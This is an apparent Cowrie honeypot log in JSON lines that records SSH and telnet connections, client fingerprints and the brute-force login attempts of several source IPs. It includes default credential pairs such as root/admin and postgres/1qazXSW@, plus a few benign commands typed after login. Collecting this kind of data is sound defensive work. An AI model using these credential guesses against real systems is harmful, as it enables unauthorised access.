{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:54.918613Z","src_ip":"185.71.233.73","session":"36a28005409d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:55.627049Z","src_ip":"185.71.233.73","session":"36a28005409d","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:56.179149Z","src_ip":"185.71.233.73","session":"36a28005409d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:56.435683Z","src_ip":"185.71.233.73","session":"36a28005409d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":22915,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ba5cc8696d0","protocol":"ssh","message":"New connection: 185.71.233.73:22915 (159.203.135.109:22) [session: 0ba5cc8696d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:56.730913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:56.735847Z","src_ip":"185.71.233.73","session":"0ba5cc8696d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:56.974136Z","src_ip":"185.71.233.73","session":"0ba5cc8696d0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:57.724051Z","src_ip":"185.71.233.73","session":"36a28005409d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:57.733696Z","src_ip":"185.71.233.73","session":"0ba5cc8696d0","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:58.371278Z","src_ip":"185.71.233.73","session":"0ba5cc8696d0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:58.627539Z","src_ip":"185.71.233.73","session":"0ba5cc8696d0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:59.851995Z","src_ip":"185.71.233.73","session":"0ba5cc8696d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41610,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f539edac1dd","protocol":"telnet","message":"New connection: 45.58.127.90:41610 (10.17.0.5:23) [session: 3f539edac1dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:09.309617Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":54402,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f7bce0a8735","protocol":"ssh","message":"New connection: 198.98.55.71:54402 (159.203.135.109:22) [session: 0f7bce0a8735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:10.493307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:10.498466Z","src_ip":"198.98.55.71","session":"0f7bce0a8735","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:10.504576Z","src_ip":"198.98.55.71","session":"0f7bce0a8735","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Aa12345678","message":"login attempt [admin/Aa12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:10.562068Z","src_ip":"198.98.55.71","session":"0f7bce0a8735","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:11.584352Z","src_ip":"198.98.55.71","session":"0f7bce0a8735","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":57862,"dst_ip":"159.203.135.109","dst_port":22,"session":"53684c463315","protocol":"ssh","message":"New connection: 47.239.15.75:57862 (159.203.135.109:22) [session: 53684c463315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:12.206688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:12.212062Z","src_ip":"47.239.15.75","session":"53684c463315","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:13.720258Z","src_ip":"185.71.233.73","session":"36a28005409d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"admin","message":"CMD: admin","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:14.736098Z","src_ip":"185.71.233.73","session":"36a28005409d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"admin ","message":"Command not found: admin ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:14.741794Z","src_ip":"185.71.233.73","session":"36a28005409d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:15.879804Z","src_ip":"185.71.233.73","session":"0ba5cc8696d0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"admin","message":"CMD: admin","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:16.894857Z","src_ip":"185.71.233.73","session":"0ba5cc8696d0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"admin ","message":"Command not found: admin ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:16.900216Z","src_ip":"185.71.233.73","session":"0ba5cc8696d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":39196,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e5aec407b38","protocol":"ssh","message":"New connection: 98.70.48.241:39196 (159.203.135.109:22) [session: 1e5aec407b38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:18.021310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:18.027660Z","src_ip":"98.70.48.241","session":"1e5aec407b38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:18.221961Z","src_ip":"98.70.48.241","session":"1e5aec407b38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser1","password":"myuser1","message":"login attempt [myuser1/myuser1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:19.013370Z","src_ip":"98.70.48.241","session":"1e5aec407b38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:19.981885Z","src_ip":"47.239.15.75","session":"53684c463315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:20.205486Z","src_ip":"98.70.48.241","session":"1e5aec407b38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.347522020339966,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:25.163651Z","src_ip":"45.58.127.90","session":"918cbaf3d55c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.294020891189575,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:29.731684Z","src_ip":"45.58.127.90","session":"2c1cdcf2ce6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.42200303077698,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:30.007974Z","src_ip":"45.58.127.90","session":"7ca0e6714c37","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","size":718,"shasum":"54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","duplicate":true,"duration":"34.3","message":"Closing TTY Log: var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a after 34.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:30.762146Z","src_ip":"185.71.233.73","session":"36a28005409d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.3","message":"Connection lost after 36.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:30.985896Z","src_ip":"185.71.233.73","session":"36a28005409d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","size":718,"shasum":"54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","duplicate":true,"duration":"34.3","message":"Closing TTY Log: var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a after 34.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:32.933781Z","src_ip":"185.71.233.73","session":"0ba5cc8696d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.4","message":"Connection lost after 36.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:33.157874Z","src_ip":"185.71.233.73","session":"0ba5cc8696d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:33.304472Z","src_ip":"47.239.15.75","session":"53684c463315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.9","message":"Connection lost after 23.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:36.126414Z","src_ip":"47.239.15.75","session":"53684c463315","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":53314,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f7a8e47edfa","protocol":"ssh","message":"New connection: 47.239.15.75:53314 (159.203.135.109:22) [session: 1f7a8e47edfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:40.005254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:40.010674Z","src_ip":"47.239.15.75","session":"1f7a8e47edfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":43700,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ebf8cac6222","protocol":"ssh","message":"New connection: 87.106.29.151:43700 (159.203.135.109:22) [session: 4ebf8cac6222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:44.713107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:44.719448Z","src_ip":"87.106.29.151","session":"4ebf8cac6222","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:44.814143Z","src_ip":"87.106.29.151","session":"4ebf8cac6222","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1qazXSW@","message":"login attempt [postgres/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:45.217486Z","src_ip":"87.106.29.151","session":"4ebf8cac6222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:46.314407Z","src_ip":"87.106.29.151","session":"4ebf8cac6222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.87397503852844,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:34:49.183483Z","src_ip":"45.58.127.90","session":"3f539edac1dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":43752,"dst_ip":"159.203.135.109","dst_port":22,"session":"89804874eea0","protocol":"ssh","message":"New connection: 198.98.55.71:43752 (159.203.135.109:22) [session: 89804874eea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:35:00.313522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:35:00.317907Z","src_ip":"198.98.55.71","session":"89804874eea0","protocol":"ssh"}
